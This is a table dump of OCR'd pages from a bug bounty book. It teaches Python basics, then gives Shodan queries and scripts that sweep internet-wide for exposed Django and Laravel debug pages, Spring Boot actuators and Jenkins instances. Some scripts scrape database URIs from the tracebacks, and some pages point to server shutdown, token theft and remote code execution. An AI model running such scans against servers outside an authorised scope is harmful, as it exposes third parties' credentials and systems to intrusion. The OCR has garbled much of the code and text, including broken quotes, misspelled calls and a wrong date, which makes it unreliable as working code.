Page Number
int64 1
792
| Text
stringlengths 5
5.22k
| book_title
stringclasses 54
values | token_count
int64 1
1.88k
|
|---|---|---|---|
1
|
THE SECRETS OF BUG HUNTING BUG BOUNTY AUTOMATION WITH PYTHON SYED ABUTHAHIR
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 24
|
2
|
THE SECRETS OF BUG HUNTING BUG BOUNTY AUTOMATION WITH PYTHON SYED ABUTHAHIR
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 24
|
3
|
ABOUT THE AUTHOR Syed Abuthahir aka Syed is currently working as a Security Engineer in a product based company, He has 4+ years experience in Information security field. He is an active bug bounty hunter and also a Python developer. He has been listed in the hall of fame of the most popular companies such as Microsoft,Apple, Yahoo,BMW,Adobe, IBM, SAP, FORD, OPPO and many more. He got appreciation letters from The Dutch Government two times and from Avira three times. He graduated Computer Science and Engineering in University College of Engineering,Ramanathapuran TamilNadu, India. He started his career as a python developer and moved to the cyber security field after a year of his career. He is also contributing to the open source community as a developer. You can follow him in github - https://github.com/abuvanth Any doubts and clarification feel free to contact via developerabu@gmail.com
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 192
|
4
|
ABOUT THE BOOK This is the first book by this author. This book demonstrates the hands-on automation using python for each topic mentioned in the table of contents. This book gives you a basic idea of how to automate something to reduce the repetitive tasks and perform automated ways of OSINT and Reconnaissance. This book also gives you the overview of the python programming in the python crash course section. This book is the first part of bug bounty automation with python series.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 91
|
5
|
DISCLAIMER The information presented in this book is purely for education purposes only. Author of this book is not responsible for damages of any kind arising due to wrong usage.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 34
|
6
|
TABLE OF CONTENTS About the Author About the book Disclaimer Why do we need automation? Why Python? What is bug bounty? Python Python Crash Course Variables and data types Strings Python Collections List Tuple Set Dictionary Basic Operators Conditions and Loops If Conditions else if While loop For loop Functions Arbitrary Arguments
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 57
|
7
|
Arbitrary Keyword Arguments Default parameter value File operations Exception Handling Regular Expression Regex Crash Course Let's write some regex example : Automations using python Scrap Bug Bounty sites Sites List Domains List Keyword List OSINT Automation using Shodan Django debug mode shodan automation Laravel debug mode leak sensitive info Spring Boot Actuator Endpoints Expose Sensitive Data Find Spring boot server using shodan Misconfigured Jenkins Instances SonarQube Instances With Default Credentials Jenkins Default Credentials testing Prometheus Instances Without Authentication Grafana Instances With Default Credentials How to Find login endpoint and parameters Apache Airflow Instance without authentication Subdomain Enumeration Directory Fuzzing Domain availability Check Fuzzing Find s3 buckets from html,js
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 137
|
8
|
Conclusion
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 1
|
9
|
WHY DO WE NEED AUTOMATION? Repetitive manual work wastes our time and energy. It may exhaust you from what you are doing. So we need to automate these repetitive tasks to save our time and energy to focus on other areas.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 50
|
10
|
WHY PYTHON? Python is very easy to learn for newcomers and beginners. It has simplified syntax so anybody can easily read and understand the code. There are lots of tools and modules available for python to do our tasks by writing a few lines of code.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 51
|
11
|
WHAT IS BUG BOUNTY? Bug Bounty is a monetary reward or swag offered by the company or individual for anybody in the world to find the security flaw in their websites or infrastructures. Many organizations have a responsible disclosure policy, they may not provide monetary reward but they mention the name who found a valid security loophole in their systems in the hall of fame page of their website.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 77
|
12
|
PYTHON Python is an Interpreter language which means we don't need to compile the entire program into machine code for running the program. Python interpreters translate the code line by line at runtime so we can run the python program directly without compilation. Python is already included with linux based operating systems. If you are a windows user you can download and install it from python official website - https://www.python.org/downloads/ . Support for python2 is no longer so we are going to use python3 only.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 99
|
13
|
PYTHON CRASH COURSE Before entering into bug bounty automation, We should learn the basics of python programming. We are not going to deep dive into the python but We will learn the basic fundamentals of python and necessary topics in the python programming. Let's code Hello World: print("Hello Bug Bounty World") Save the above code as hello.py and execute the program by the following command. python hello.py Congrats, you have successfully executed the first python program.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 92
|
14
|
VARIABLES AND DATA TYPES Variable declaration is not necessary. Python is dynamic typed. So we can store any value to the variable directly as follows url = "http://google.com" # string port = 8080 int version = 5.5 # float vulnerable = True # boolean, True or False domains = ['uber.com','yahoo.com',ebay.com'] # list ip = ("216.58.197.46" "192.168.1.1") # tuple server = {"uber":"nginx", "zomato": "envoy"} # dictionary vulnerable_versions = {4.4,4.5,4.6,4.7} # set III This is the multi line comments, which is used to describe the code. This part is ignored at runtime. VVV In above code, strings are followed by hash (#) is a comment. these won't be executed.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 185
|
15
|
STRINGS Strings is a collection of characters which is enclosed with single or double quotes. We can treat strings like an array. For example if you want to print character 'g' in url you can access specific characters by index of the character like an array. url = "http://google.com print(url[7]) # g is in 7th position. Index starting from 0 print(len(url)) # print number of characters in url.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 90
|
16
|
EXAMPLES OF STRINGS FUNCTION Split We are going to separate domain and url scheme using split function print(url.split('/)[2]) In above code split function separate a string into substrings and give output as list like ['http:',", 'google.com'] Strip strip function is used to delete specific characters from the strings at both starting and ending. Example language = "malayalam" print(language.strip("m")) The output of this code would be 'alayala Rstrip rstrip is used to remove specific characters at the end of string. Example language = "malayalam" print(language.rstrip("m")) The output of this code would be 'malayala
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 135
|
17
|
Lstrip Istrip function is used to remove specified characters from the starting of the string. Example language = "malayalam" print(language.lstrip("m")) The output of this code would be 'alayalam Replace replace function is used to replace a string with another string language = "malayalam" print(language.replace("l","j") The output of this code would be 'majayajam Count Count function is used to find the number occurrence of characters in strings. language = "malayalam" print(language.count(I'))
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 110
|
18
|
STARTSWITH AND ENDSWITH startswith function is used to find whether the string starting with specified characters or not. endswith function is used to find whether the string ending with specified characters or not. These two functions return True or False. language = "malayalam" print(language.startswith('m')) print(language.endswith('m'))
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 68
|
19
|
STRING FORMATTING Python uses string formatting like C language, % operator is used to format a set of variables with values enclosed with tuple. app = "wordpress" version = 4.8 print("%s version %s is vulnerable" % (app,version)) %s is for Strings %d is for Integers %f is for Floating point numbers %x is for hex representation of integers
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 80
|
20
|
PYTHON COLLECTIONS There are four collection data types in python. List Tuples Set Dictionary
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 17
|
21
|
LIST A Python list is like an array but we can store collections of different Data Types and we can access elements by using indexes like an array. Example: data = ["google.com",80,5 print("domain "+data[0]) print(data[-2]) # negative indexing, you can access last element by -1 index and second last element by -2 print(len(data)) # print size of the list In above code + operator performs concatenation of two strings. if you want concatenate string with integer, You should convert integer to string as follows print("Port :"+str(data[1])) Examples of List functions ports = [80,81] ports.remove(80) # remove function delete element 80 from list ports.append(8080) # append function add element 8080 at last place ports.insert(1,81) # insert function add element 81 in specified position ports.pop() # pop function removes specific index elements if index is not specified it will remove the last element. ports.clear() # make list as empty list There are more list functions, we will learn it later.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 223
|
22
|
TUPLE Tuple is like a list but tuple is unchangeable, we can't delete or insert elements once it is defined. Example: tup = ("google.com",80,5.5)
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 40
|
23
|
SET Set is a collection of unique values enclosed with curly braces. We can perform set operations like union,intersections. Example numbers = {1,2,3,4,5,6} numbers_2 = {4,5,6,7,8,9} print(numbers.union(numbers_2)) print(numbers.intersection(numbers_2)) Examples of Set functions numbers = {1,2,3,4,5,6} numbers.add(7) # add new element to set numbers.discard(5) # remove element 5 from set numbers.remove(8) # we can use remove function but it raise exception if element not present
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 133
|
24
|
DICTIONARY Dictionary is an unordered python object that holds key value pairs like JSON. Example phone = {"redmi":10000, 'nokia":15000, "oppo":10000 } print(phone['redmi"]) print(phone['nokia']) In the above code we defined a dictionary and accessed its value by its key. print(phone.keys() print(phone.values()) In the above code, keys function return list of keys in the dictionary and values function gives list of values. You can update a dictionary using the update function. Example phone.update({"oneplus":20000}) print(phone) del phone["oppo"] print(phone) In the above code, we have updated the phone dictionary and deleted one entry from the dictionary. print(phone.get("redmi")) In the above code we access element by using get function if element is not present it will return None.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 178
|
25
|
BASIC OPERATORS Like other programming languages, addition, subtraction, multiplication,division can be used with numbers to perform arithmetic operations. a=5 b=2 print(a + b) # Addition print(a - b) # subtraction print(a * b) # multiplication print(a / b) # division gives 2.5 as a result print(a //b) # floor division gives 2 as a result print(a **b) # power operator,5 power 2 gives 25 as a result. We can use the add operator for strings to concatenate two or more strings. string_1 = "Bug" " string_2 = "Bounty " string_3 ="Automation" = print(string_1+string_2+string_3) We can use a multiplication operator on a string to form a string with repeating sequence. hello= "hello" print(hello*5) Above code print 5 times hello. We can use an add operator for lists to concatenate more than two lists. And also We can use multiplication operator on list
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 213
|
26
|
list_1 = [1,2,3,4,5] list_2 = [6,7,8,9,0] print(list_1 + list_2) print(list_1*3)
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 46
|
27
|
CONDITIONS AND LOOPS Conditions and loops are very essential parts of any programming language, without conditions a program can't make a decision which means a program can't decide which execution path is correct or wrong. Loops execute the block of code again and again until the condition gets satisfied.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 57
|
28
|
IF CONDITIONS conditions make a decision to execute the block of code. if condition is false else block will be executed. Colon is important after the if condition expression and also indentation too important. Indentation means four spaces after the if condition or loops or functions. Example fixed_version = 8.4 version = 8.3 if version < fixed_version: print("version {} is vulnerable" ".format(version)) else: print("Not Vulnerable") Format is a string function which is used to insert any values inside the curly braces.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 108
|
29
|
ELSE IF app = 'wordpress if app == 'drupal': wordlist = 'drupal.txt elif app == 'wordpress': wordlist = 'wordpress.txt Above code choose the wordlist based on the application.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 43
|
30
|
WHILE LOOP While loop executes the block of code until it's condition True. when the condition becomes false then control exits the loop. i=1 while i<=50: print(i) i+=1 above code print 1 - -50.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 50
|
31
|
FOR LOOP For loop is used for iterating over the python objects like list,tuple,set,dictionary and strings. Mostly we are going to use For loop for our automation. for i in range(1,51): #range function generates a list from 1 to 50. print(i) #print 1 to 50 domains = ['google.com',ebay.com',yahoo.com'] for domain in domains: print(domain) phones = {"redmi":10000,"nokia":15000,"oppo":10000) for phone in phones: print(phones[phone]) url = "https://google.com for u in url: # iterate over string print(u)
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 138
|
32
|
FUNCTIONS Function is a block of statements which can be called any number of times in the program.a function can take a value as parameter and perform something then return a value . Let's take an example to write a function. def hello(): # function without arguments print("Hello World") hello() def add(a,b): # function without arguments return a+b print(add(5,4)) def isdomainlive(domain) #here to do something to check whether the domain is alive or not. return True #or False ifisdomainlive("subdomain.example.com"): #perform something if domain is live print("domain is alive")
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 127
|
33
|
ARBITRARY ARGUMENTS Arbitrary arguments are used to pass more than one value as a parameter to a function, that function will receive that value as tuples. add * before parameter name in the function definition. def printdomains(*domains): # function definition for domain in domains: print(domain) printdomains("google.com", "apple.com", "microsoft.com") # function call
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 77
|
34
|
ARBITRARY KEYWORD ARGUMENTS Arbitrary keyword arguments are used to pass values with key to the function, that function will receive the arguments as a dictionary. add ** before the argument in the function definition. def domaininfo(**domain): for key in domain: print(domain[key]) domaininfo(host="google.com", ,port=443)
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 69
|
35
|
DEFAULT PARAMETER VALUE If we call the function without argument it will use default value. def vulnerable(yes=True): if yes: print("Vulnerable") else: print("NotVulnerable") vulnerable(yes=False) # print as not vulnerable vulnerable() # print as vulnerable, because it takes default value. We can pass ,tuples,set,dictionary as an argument def printobjects(data): if isinstance(data,dict): for key in data: print(data[key]) else: for value in data: print(value) printobjects([1,2,3,4,5]) printobjects(("A", "B", "C", "D")) printobjects({1.1,2.2,3.3,4.4}) printobjects({"redmi":7000," "oppo":10000] Here isinstance is a function which is used to check the types of the variable is given instance or not. Dictionaries only have keys so we have checked if the variable is an instance of dict or not. isinstance function returns True or False.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 214
|
36
|
FILE OPERATIONS We can perform file operations like Read, Write,Append using python. Example: Open a file in read mode and print its content. domain.txt google.com yahoo.com ebay.com domain_file = Fopen("domains.txt" "r") print(domain_file.read0) for domain in domain_file.readlines0: print(domain) domain_file.close() In above code, we have opened a file called domains.txt with (r) read mode, read function return file contents as a string and readlines function return list of lines present in the file. Example: Open a file with write mode and write some content domains = ["google.com","yahoo.com","ebay.com" domain_file = open("domain_list.txt", "w") for domain in domains: domain_file.write(domain+"\n") domain_list.close() In above code, we have opened a file with (w) write mode, if the file is not present it will be created. Example: Open a file with append mode to append some content
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 203
|
37
|
domains = ["facebook.com", "pinterest.com", "amazon.com" domain_file = open("domain_list.txt", "a") for domain in domains: domain_file.write(domain+"\n") domain_file.close() Unlike write mode, append mode does not delete the old content of the file.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 59
|
38
|
EXCEPTION HANDLING Exception handling is a mechanism to handle runtime errors, sometimes programs may be stopped working because of runtime errors. So we should handle the runtime errors using Exception Handling. For example if we try to open a file which does not exist it leads to runtime error. Example: try: testfile = open("filename.txt", "r") except: print("File not found")
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 78
|
39
|
REGULAR EXPRESSION Regular Expression plays an important role in the automation world, so it is important to learn re module in python. Let's consider the scenario, Django debug mode enabled in production deployment leads to sensitive data disclosure. We can identify it by searching for a specified pattern in the webpage. Expected words in webpage is "URLconf defined" import re webpage_content = VV Django error occurred something. URLconf defined VIV if fre.search(rURLconf\sdefined',webpage_content): print("Django Debug mode enabled") In the above code, we have included the re (regular expression) module using the import keyword. Next line you can notice triple ("') quotes which means python supports multiline strings. search function in re module looking for a specified pattern in the webpage_content if anything found condition will be true. You can see the regex string starts with r (r notation) which means regex is a raw string.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 186
|
40
|
REGEX CRASH COURSE \w - matches a character or digit \d - matches digits only \s - matches a space \w+ - matches one or more characters including digits \d+ - matches one or more digits only \W* - matches zero or more characters including digits \d* - matches zero or more digits \s+ - matches one or more spaces \s* - matches zero or more spaces You can play with regex here - https://regex101.com/
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 98
|
41
|
LET'S WRITE SOME REGEX EXAMPLE AwsAccessKey - AKIAIOSFODNN7EXAMPLE or ASIAIOSFODNN7EXAMPLE wwS_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPI 1.Regex for match AwsAccessKey - A[SK]IA\w{16} 2. Regex for match SecretKey - [a-zA-Z0-9V\=]{40} Here you can see the Access key starting with Character 'A' and then the next letter might be 'K' or 'S'. SO we use [SK] which matches S or K followed by Character 'A'. after that IA is common for all access keys. These are the unique patterns to identify Aws Access key and then what about rest? There are 16 random characters so we are matched by \w{16}. Then the length of the AWS secret key is 40 and there is no unique pattern like access key. slash (/) and = resides in between characters SO that we use these in square brackets. In this regex you can notice I used a-zA-Z0-9 instead of \w. because \w matches - underscore also. we don't need to match the underscore(_) so that I didn't use \w. You can verify it in regex101.com Let's Start the bug bounty Automation
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 282
|
42
|
AUTOMATIONS USING PYTHON We are going to do many automations to reduce repetitive tasks for saving our time and energy.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 24
|
43
|
SCRAP BUG BOUNTY SITES You can see the list of bug bounty sites here - https://www.vulnerability- lab.com/list-of-bug-bounty-programs.php Now we are going to scrap this website and get the list of websites who have bug bounty programs or responsible disclosure policy. we are going to use bs4 and requests modules which are third party python modules, SO first we should install these modules by executing the following command. pip install bs4 requests If an error occurs, Please use sudo with command. let's write a code to scrap
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 114
|
44
|
SITES LIST from bs4 import BeautifulSoup as sp import requests url = "https://www.vulnerability-lab.com/list-of-bug-bounty-programs.php" webpage = requests.get(url=url) # send a get request soup = sp(webpage.content,html.parser') tables = soup.find_all(table') a_tags = tables[4].find_all(a) sites_list open("bug-bounty-sites.txt","w") for a in a_tags: sites_list.write(a.get('href')+"\n') First of all we need to import necessary modules and send a GET request to the url for fetching the HTML content of the webpage, then creating an object (soup) for BeautifulSoup class for parsing HTML, you can found where the list of sites present in the html using browsers inspect element and you can found out a table that contains the list of sites, there are 6 tables available in this webpage so I select all the tables using find_all functions using table as parameter, find_all function return list of table content. Fifth table only contains a list of sites, SO I select the 5th table using index 4 and then apply find_all function with the parameter 'a'. Now find_all function returns all the a' tags. We can iterate it using a for loop for writing sites to a file. In the for loop a tag comes one by one, We want a link only so we can get it by calling get('href') function . Now bug-bounty-sites.txt file created with bug bounty sites list.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 310
|
45
|
DOMAINS LIST Now we are going to sanitize the sites to get domain names without scheme and path. This domain list is very useful to do the subdomain enumeration process. Example: from https://google.com/test/path to google.com let's write a code site_list = open("bug-bounty-sites.txt",r) sites = site_list.readlines() domain_list open("bug-bounty-domains.txt","w") for site in sites: if not 'mailto' in site: split_site = site.split('/) if len(split_site)>1 domain_list.write(split_site[2]+'\n') In the above code, we have opened sites list file and open new file to write domain name, then Iterating over sites,checking whether the mailto keyword present or not to remove the unnecessary emails and then split the scheme and path in sites with split('/') functions which returns ['https:', google.com',"path', 'path2'] and access it by index 2 and write it to the file.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 202
|
46
|
KEYWORD LIST Keyword list is very useful when doing OSINT(Open source Intelligence) automation. Now we are going to get the keyword list from the domain name list. domain_list open("bug-bounty-domains.txt","r") word_list = open("bug-bounty-wordlist.txt","w") for domain in domain_list.readlines(): split_domain = domain.split(".") if len(split_domain)>1: if len(split_domain[-2])>2: word_list.write(split_domain[-2]+"\n") First line open domain list file with read mode and second line open wordlist file with write mode. Third line iterating over domain list, fourth line split domain using dot to separate domain keyword from domain name. split('.') function returns ['google','com']. Ignore the domain if its length is less than 2 and ignore the keyword if the length of keyword is less than 3. Because these keywords may give false positives while doing OSINT. There is some disadvantage in this code because this eliminates some domains like domain.co.uk. If you want an exact domain keyword. There is another method to get domain keywords using a third party module named tldextract. pip install tldextract import tldextract domain_list = open("bug-bounty-domains.txt","r") word_list = pen("bug-bounty-wordlist.txt","w") for domain in domain_list.readlines(): tld = tldextract.extract(domain) word_list.write(tld.domain+"\n") This method requires some time because this module looks up via api to retrieve the domain information. If your internet speed is high you can prefer
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 322
|
47
|
this method to get the exact domain keyword.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 9
|
48
|
OSINT AUTOMATION USING SHODAN Shodan is a search engine which crawls the entire internet in the world. Shodan monitors each and every public ip address to gather information about the services and technologies used by the individual Ip address. Example: shodan query to get debug mode enabled django servers html:"URL.comf defined" & e shodan.io/search?query=html%3A"URLconf+defined" Apps saml Get Predictions Verification of SA., Asynchronous Tas Subdomain scann.. GNU Affero Gener Shodan Developers Monitor View All... SHODAN html:"URLconf defined" Explore Downloads Reports Pricing Exploits Maps Share Search Download Results Hd Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Sho 24,375 Page not found at / 54.255.164,79 HTTP/1.1 404 Not Found TOP COUNTRIES ec2-54-255-164-79.ap-southeast- compute.amaznaws.com Date: Thu, 13 Aug 2028 15:46:04 GMT Amazon.com Server: WSGIServer/0.2 CPython/3.6.9 Added on 2020-08-13 15:54:31 GMT Content-Type: text/html Singapore, Singapore X-Frame-Options SAMEORIGIN Content-Length: 3530 cloud Vary: Origin You can see in the above picture, There are 24375 servers enabled debug mode in their django server. Debug mode in production leads to sensitive information disclosure. Let's escalate this to a sensitive info leak. Simply copy the ip address and send a POST request to https://IPADDRESS/admin this return traceback information which contains sensitive informations like internal ip's and may contains mongodb URI,redis cache URI credentials which are visible but some sensitive information like password, secrets are hidden by django by default. If you got Redis cache URI which leads to RCE(Remote code
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 407
|
49
|
execution) by writing crontab files. You can see articles online related to Redis Server RCE. https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#redis-rce How to find the debug mode enabled django server owned by bug bounty sites. Example shodan query html: "URLconf defined" ssl: 'sony" Let's automate.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 81
|
50
|
DJANGO DEBUG MODE SHODAN AUTOMATION Let's install the shodan module by executing the following command. pip install shodan import shodan SHODAN_API_KEY = :"YOUR_SHODAN_API" api = shodan.Shodan(SHODAN_API_KEY) words open("bug-bounty-wordlist.txt","r" django_debug_list= open("django-debug-list.txt","w") for word in words.readlines(): query = "html:'URLconf defined'ssl:"+word.strip('\n" try: results = api.search(query) print('Results found: I}'.format(results['total'])) for result in results['matches']: print(word) print('IP: {}'.format(result['ip_str'])) port = result['port'] if port in [80,443]: if port==443: ip = "https://'++result['ip_str] else: ip = "http://"+result[ip_str] else: ip = ="http://"+result['ip_str']+":"+str(port) django_debug_list.write(ip+'\n') print(")
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 219
|
51
|
except Exception as e: print(e) This shodan python module is an official wrapper around the shodan API. We can use all the filters specified in the shodan docs via this module. You need to get an api key in shodan.io by creating an account. Every year in November month as a black friday offer shodan provides a member account for $5. You can afford it. In the above program, we have opened a domain wordlist file and iterate it over the loop then construct the shodan query which can be passed to shodan search api function which returns a list of dictionaries. You can check the IP address manually or you can automate that process also. Okay Let's automate import requests,re django_debug_lis = open("django-debug-list.txt", "w") regex = r"(?:mongodb|redis):W" for ip in django_debug_list.readlines0: try: response = requests.post(url=ip.rstrip("\n")+"/admin",data {},verify=False) if re.search(regex,response.content): print("Mongodb/Redis URI Found") except Exception as e: print(e) Here you can see regex to match mongodb:// or redis:// or both. You can see a function rstrip that is used to remove something right in the strings, here I removed the new line (\n) character. I passed a parameter verify=False that means I tell the program to don't verify the ssl certificate of the server. You can use your own regex to match something else other than mongodb/redis URI.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 315
|
52
|
LARAVEL DEBUG MODE LEAK SENSITIVE INFO Like django debug mode, Laravel framework too leaks sensitive info via traceback. Shodan query html: "Whoops! There was an error" & C shodan.io/search?query=html%3A"Whoops%21+There+was+an+error" Apps sami Get Predictions Verification of SA... Asynchronous Tas A Subdomain scann. GNU Affero Gener Shadan Developers Monitor View AIL.. SHODAN html:"Whoops! There was an error q Explore Downloads Reports Pricing Exploits Maps Share Search Download Results Lill Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Sho 1,777 AN Whoops! There was an error. 39.108.180.6 TOP COUNTRIES HTTP/1.1 see Internal Server Error Hangzhou Alibaba Advertising Co.,Ltd. Added on 2020-08-13 19:35:14 GMT Server: nginx China Date: Thu, 13 Aug 2020 19:35:13 GMT Content-Type text/html:charset-UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By PHP/7.1.6 In Laravel framework credentials are not hidden by default. So you can look for more credentials plus sensitive configurations. You can automate this process just changing the code in django debug mode automation. 1. Change the shodan query 2. Add more regex like Aws Access key/secret key That's all.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 320
|
53
|
SPRING BOOT ACTUATOR ENDPOINTS EXPOSE SENSITIVE DATA Spring boot actuator is used to monitor and manage the application which developed using spring boot framework. Sometimes developers enabled sensitive actuator endpoints and forgot to enable the authentication to these endpoints. What if you find actuator endpoints in spring boot server. You can shutdown the server, you can retrieve access tokens and session credentials that leads to account takeover and you can see many internal network configurations. You can see many articles online related to this issue.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 101
|
54
|
FIND SPRING BOOT SERVER USING SHODAN To find spring boot servers using the following shodan query. http.favicon.hash:116323821 & shodan.io/search?query=+http.favicon.hash%3A116323821 Apps sami Get Predictions Verification of SA. Asynchronous Tas. Subdomain scann... GNU Affero Gener Shodan Developers Monitor View ALL SHODAN http.favicon.hash:116323821 Explore Downloads Reports Pricing Exploits Maps Share Search Download Results Lul Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Sho 208,374 120.24.26.145 Hangzhou Alibaba Advertising Co.,Ltd. TOP COUNTRIES HTTP/1. 200 Added on 2020-08-14 10:29:40 GMT China I-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-a Pragna: no-cache Expires: e X-Frame-Options: DENY Content-Type: application/json;charset=U In the picture you can see more than 2 lakh servers running spring boot framework. Let's automate import shodan SHODAN_API_KEY = "YOUR_SHODAN_API_KEY" api = shodan.Shodan(SHODAN_API_KEY)
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 283
|
55
|
out_file=open('sping-boot-servers.txt',a') query='http.favicon.hash:116323821 try: results = api.search(query) print('Results found: I}'.format(results['total'])) for result in results['matches']: print('IP: {}'.format(result[ip_str']+:'+str(result['port']))) if result['port'] in [80,443]: if result['port']==80: scheme = "http://" else: scheme = "https://" out = scheme+result[ip_str'] else: out = ="http://"+result['ip_str']+:'+str(result['port']) out_file.write(out+'\n) print(") except shodan.APIError as e: print(Error:{}'.format(e)) This script does exactly the same as the previous script. Now we have the list of spring boot server ip addresses.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 173
|
56
|
Let's fuzz Ip's with actuators endpoints. We are going to use the wfuzz tool which is a third party module. So install that module before going to write code. pip install wfuzz import requests import wfuzz wordlist = requests.get(https://raw.githubusercontent.com/danielmiessler/SecLists/mas Content/spring-boot.txt').text.split("\n") springs = open("spring-boot-servers.txt", "r") payloads = wfuzz.get_payload(wordlist) for spring in springs.readlines(): print("Fuzzing - "+spring) try: fuzzer =payloads.fuzz(url=spring.rstrip("\n")+"/FUZZ",sc=[200]) = for result in fuzzer: print(result) except: pass We have imported necessary modules and get the spring boot specific wordlist from SecLists Repository using requests module. We have opened a file which contains a list of spring boot server IP's. Next line we have generated payloads by giving wordlist. Iterated over Ip list to fuzz.we have filtered 200 response code only. If a shutdown endpoint is available that means you can shutdown the server. If a heap dump endpoint is available, you can get secrets to takeover the accounts. You can read details about this online. We can change the wordlist based on the technology used in the server. We will learn about it later. Many security Researchers make a huge amount of money with these issues. You can see bug reports disclosed in hackerone hacktivity page.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 302
|
57
|
MISCONFIGURED JENKINS INSTANCES Jenkins instance is used to do a task about anything related to development, deployment, testing and integration etc.Many of Jenkins instances are misconfigured related to authentication which means any github user can login into that misconfigured jenkins instance and many jenkins instances are running with default credentials like admin/password,Many Instances running without authentication. Many Instances running with Signup functionality which means anyone can create an account and get admin access to that jenkins instance. If you get admin access, You can access repositories of the softwares they developed which may contain credentials, You can perform remote code execution via script console. You can see many articles related to this issue online. I made money with this issue more than $10k. Shodan query to find Jenkins Instances: Jenkins Without Authentication "X-Jenkins" http.title:"Dashboard" Login with SSO(Single Sign On) like html:"securityRealm" github,bitbucket etc. All jenkins instance "X-Jenkins"
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 203
|
58
|
